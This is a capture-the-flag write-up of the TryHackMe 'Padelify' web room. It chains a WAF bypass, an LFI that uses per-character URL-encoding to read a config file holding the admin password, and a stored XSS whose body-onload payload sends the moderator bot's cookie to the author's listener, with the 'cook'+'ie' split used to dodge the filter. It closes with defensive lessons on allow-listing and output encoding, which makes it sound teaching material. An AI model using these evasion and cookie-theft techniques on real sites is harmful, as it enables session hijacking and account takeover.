Box: Padelify · Platform: TryHackMe · Category: Web · Difficulty: Easy–Medium
Platform: TryHackMe
Room: Padelify
Difficulty: Easy–Medium
Category: Web
Flags: THM{REDACTED} (moderator) · THM{REDACTED} (admin)
1. Introduction / TL;DR
Padel is a racket sport where the walls are part of the court — you can play the ball off the glass, and the smart players use those walls instead of fighting them. Fitting, because this box is all about a Web Application Firewall (WAF) that thinks it’s a wall keeping me out, when really it’s just another surface I can bounce the ball off of.
Padelify is a padel-tournament web portal sitting behind a chatty-but-shallow WAF. Two flags are hidden behind two different privilege levels:
- A moderator flag, reachable by hijacking a moderator session.
- An admin flag, reachable by logging in as
admin.
Here’s the whole match in one breath:
- The WAF silently drops any request without a
User-Agentheader. Add one → you’re on the court. - A stored XSS in the registration username field is rendered in a moderator dashboard that an automated bot reviews. Steal the bot’s cookie → moderator flag.
- A Local File Inclusion (LFI) in
live.php?page=lets me readconfig/app.conf, which leaks the admin password. The WAF blocks the obvious payloads, but full per-character URL-encoding walks straight past it. Log in asadmin→ admin flag.
Flags:
| |
The whole thing is a lesson in deny-list security: every defense on this box blocks a list of known-bad strings instead of validating what’s actually allowed. Deny-lists lose, every time, because the attacker only has to find one spelling the list forgot.
2. Initial Recon
2.1 Is anything even there?
Standard opening — ping, then a full TCP port scan with service detection.
| |
| |
Two ports. SSH is almost certainly not the way in on an easy web box, so all eyes on port 80 / Apache.
2.2 The “is this thing on?” trap
My very first curl returned nothing useful, which is the classic Padelify head-fake. Let me show you why, because this is the first puzzle:
| |
Reasoning: The difference between those two requests is one header. The WAF is configured to reject any request that doesn’t present a User-Agent — a crude bot-filter that assumes “real browsers always send a UA, scanners often don’t.” It’s the digital equivalent of a bouncer who only checks whether you’re wearing a jacket, not who you are. So from here on, every single request carries User-Agent: Mozilla/5.0. Forget it once and you’ll think the server died.
💡 Lesson #1: When a target goes silent, run
curl -v. A403hiding behind-s -o /dev/nulllooks identical to “host down.” Always read the status code before assuming the box is broken.
2.3 Content discovery
Now that I can actually talk to the app, enumerate endpoints. gobuster with the UA baked in:
| |
A quick status sweep of the interesting hits:
| |
| |
Map of the court:
| Endpoint | What it is |
|---|---|
register.php | New-user signup (POST) |
login.php | Login form |
dashboard.php | Auth-gated area (302 → login when unauthenticated) |
live.php?page= | Renders a “live match” page from a page parameter |
logs/error.log | A world-readable Apache-style log |
Two things light up immediately: a page= parameter (file-inclusion smell) and a readable log file (information disclosure).
3. Analysis / Reverse Engineering
3.1 Reading the tea leaves in error.log
A readable log is a free reconnaissance gift. Let’s read it:
| |
| |
This log is practically a walkthrough written by the box author. Every line is a breadcrumb:
config/app.confat/var/www/html/config/app.conf— there’s a config file, and the log even tells me it containsadmin_info. That’s a target.[modsec:...]tags — confirms the WAF is ModSecurity, and it’s actively flagging “encoded/obfuscated XSS” and “double-encoded sequences.” That tells me two things: (1) XSS is an intended path, and (2) the WAF inspects for encoded payloads — so naive double-encoding won’t save me, but something will.registrations table/ SQLite (db_pathlater) — registration writes to a DB, and something reads it back.admin_infofailed to parse — the admin credential lives in that config file in a specific format.
3.2 What does live.php?page= actually do?
| |
The page renders a “Live Match Center” card. The page parameter strongly implies the PHP backend does something like:
| |
That’s a textbook Local File Inclusion sink. If page is concatenated into include()/readfile() without sanitization, I can point it at any file the web user can read — like config/app.conf.
3.3 Who reads the registration data?
The registration form (register.php) fields:
| |
Combine this with the log line about a moderator and “registrations table.” The intended design: users register, and a moderator (an automated bot) reviews new registrations in a dashboard. If the dashboard renders the username field without output-encoding, then whatever I type as my username becomes HTML/JS in the moderator’s browser. That’s stored (persistent) XSS, and the victim is a privileged bot. Goldmine.
4. Vulnerability Identification
Three distinct, chainable weaknesses, all rooted in the same anti-pattern (deny-list filtering instead of allow-list validation):
| # | Vulnerability | Location | Why it exists |
|---|---|---|---|
| V1 | WAF bypass (missing-UA filter) | Global | WAF blocks on absence of User-Agent, not on request legitimacy. |
| V2 | Stored XSS → session hijack | register.php username → moderator dashboard | Username rendered to a privileged bot without output encoding. WAF deny-lists the literal string cookie. |
| V3 | LFI → credential disclosure | live.php?page= | page flows into a file-read sink; WAF deny-lists config / ../ patterns but not their encodings. |
The two flags map cleanly:
- V1 + V2 → moderator session → moderator flag.
- V1 + V3 → admin password from config → admin login → admin flag.
5. Exploitation Strategy
Let me teach the two core techniques, because both are general-purpose tools you’ll reuse forever.
5.1 Stored XSS for session theft (V2)
What XSS is: Cross-Site Scripting is when an application takes attacker-controlled input and reflects it back into a page as code instead of as text. The browser can’t tell “data the developer meant” from “script the attacker injected” — it just executes whatever’s in the HTML. Stored XSS means the payload is saved server-side (here, in the registrations DB) and runs later, in someone else’s browser.
Why it applies here: My username is stored and then displayed in the moderator’s dashboard. The moderator is a bot that automatically opens that dashboard. So if I register with a username that is a <script>-equivalent, the bot’s browser executes it. The single most valuable thing a bot’s browser holds is its session cookie (PHPSESSID). If I make the bot’s browser send me that cookie, I can replay it and become the moderator — no password needed. This is session hijacking.
The delivery trick: I make the victim browser issue a request to a server I control, with the cookie glued onto the URL:
| |
Creating an Image and setting its src forces an immediate outbound GET to my listener — no user click required. The cookie rides along in the query string, and it lands in my web server’s access log.
The WAF wrinkle: ModSecurity deny-lists the literal token cookie. So document.cookie gets blocked. But JavaScript resolves property names at runtime, so I split the word and let the engine reassemble it:
| |
The WAF is doing a substring match for cookie; my source only ever contains cook and ie separately. The browser concatenates them after the WAF has already waved the request through. That’s the whole bypass — deny-lists match strings, not behavior.
For the HTML wrapper I use <body onload=...> because it’s an event handler that fires automatically on render and tends to survive filters that strip <script>:
| |
5.2 LFI with full URL-encoding (V3)
What LFI is: Local File Inclusion is when a parameter that names a file is passed to a file-read/include function without restriction. Control the parameter → read arbitrary files the web user can access.
Why the obvious payload fails here: live.php?page=config/app.conf returns 403 — the WAF deny-lists the substring config (and traversal markers like ../). The blog-era classics all fail for the same reason: the WAF is pattern-matching on recognizable strings.
| |
The winning idea — bounce off the wall: There are two parties that look at my page value:
- The WAF, which sees the raw HTTP request and matches strings against its deny-list.
- The PHP/Apache layer, which URL-decodes the value before using it.
If I percent-encode every single character of config/app.conf, the WAF sees an opaque blob of %xx sequences that matches none of its known-bad strings — while PHP happily decodes it back to config/app.conf and reads the file. The WAF and the application disagree about what the input is, and I live in that gap. This is a parser-differential / impedance-mismatch bypass, and it’s one of the most important concepts in WAF evasion.
config/app.conf, fully encoded:
| |
💡 Lesson #2: Single-encoding succeeds where double-encoding fails because the request passes through exactly one decoder (PHP). Double-encoding (
%252e) leaves a literal%blob that also trips the WAF’s “double-encoded sequence” rule (we literally saw[modsec:41004]warn about it in the log). Match your encoding depth to the number of decoders in the path.
6. Building the Exploit
I’ll build it up piece by piece with reasoning, then hand you a single copy-paste script at the end.
Step 0 — Constants
| |
Find your own LH with ip -4 addr show tun0. The bot must be able to reach this IP, so it has to be your VPN address, not 127.0.0.1.
Step 1 — Read the config via LFI (→ admin password)
I do the LFI first because it needs no waiting — it’s a single deterministic request.
| |
The “Live Match Center” card now contains the raw config file:
| |
admin_info = "bL}8,S9W1o44" — exactly the value the error log warned “failed to parse.” Note the } and , in it; those matter when scripting, so always URL-encode it in the login POST.
Step 2 — Log in as admin (→ Flag 2)
| |
-c /tmp/admin.txt saves the authenticated session cookie. The dashboard reveals:
| |
🚩 Admin flag: THM{REDACTED}
Step 3 — Stand up a listener for the XSS callback
| |
This tiny web server does one job: log the GET the moderator bot will make. Its access log line is the exfiltrated cookie.
Step 4 — Register with the XSS payload
| |
Breaking the payload down one more time:
<body onload="...">— fires automatically when the moderator’s dashboard renders. No clicks.new Image().src='http://192.168.132.41:8080/?c='+...— forces an immediate outbound request to my listener.document['cook'+'ie']— yields the cookie string while the literalcookienever appears, dodging the WAF deny-list (V2).
Step 5 — Catch the cookie
Within seconds, the bot reviews the new registration and my listener logs:
| |
There it is: PHPSESSID=e0q1lim943h525ipkenmurqbdc — the moderator’s live session.
Step 6 — Hijack the session (→ Flag 1)
Replay that cookie against the gated dashboard:
| |
| |
🚩 Moderator flag: THM{REDACTED}
Game, set, match.
6.1 The complete solve script
Fully automated, fully commented, copy-paste runnable. It uses requests (web target) plus a tiny threaded HTTP server to catch the XSS callback, so the whole chain runs end-to-end with no manual steps.
| |
Run it:
| |
| |
⚠️ Note on the cookie value:
PHPSESSID=e0q1lim943h525ipkenmurqbdcwas my session from this run. Sessions are ephemeral — when you solve it yourself the script will capture a fresh one. Likewiseadmin_infomay be randomized per deploy on some THM instances; the script reads it live rather than hardcoding it, so it’ll always use whatever your box actually serves.
7. Conclusion / Flags
| |
The attack chain, end to end
- WAF bypass (V1): add a
User-Agentheader to every request. - Recon:
error.logdiscloses the config path, the ModSecurity WAF, and the moderator-bot workflow. - LFI (V3): read
config/app.confby URL-encoding every character of the path → leaksadmin_info. - Admin login → Flag 2.
- Stored XSS (V2): register a
<body onload>payload usingdocument['cook'+'ie']to dodge the keyword filter; the moderator bot’s browser exfiltrates itsPHPSESSID. - Session hijack → Flag 1.
Why Padelify was beatable — the one root cause
Every defense on this box is a deny-list: block requests with no UA, block the string cookie, block the string config, block ../. Deny-lists are fundamentally a losing game because the defender must enumerate every possible bad input while the attacker needs one they forgot:
- WAF blocks missing-UA → I add a UA.
- WAF blocks
cookie→ I write'cook'+'ie'. - WAF blocks
config/../→ I encode the bytes so the WAF never sees those strings, but PHP still does.
The fix in every case is the same: validate against an allow-list and encode on output. Render the username with proper HTML output-encoding and the XSS dies. Resolve page against a fixed allow-list of permitted templates and the LFI dies. Authenticate properly instead of filtering by header and the WAF bypass becomes irrelevant. A WAF is a speed bump, never a seatbelt.
Takeaways
- Read the status code, not the silence. A WAF dropping you looks identical to a dead host under
curl -s. Use-v. - Free logs are free recon.
error.logbasically narrated the intended path. - Match encoding depth to decoder count. One decoder (PHP) → single-encode. Double-encoding re-trips the WAF and the app double-decodes nothing.
- Bots are the best XSS victims. An automated reviewer guarantees your stored payload runs in a privileged context, fast and reliably.
- Deny-lists lose. If you’re defending, allow-list and output-encode. If you’re attacking, find the spelling the list forgot.
PS — In padel, the wall is your teammate. Turns out the same is true of a WAF: stop fighting it, start bouncing off it. The WAF blocked me dozens of times before I realized it was only ever checking for strings it had heard of. Ace.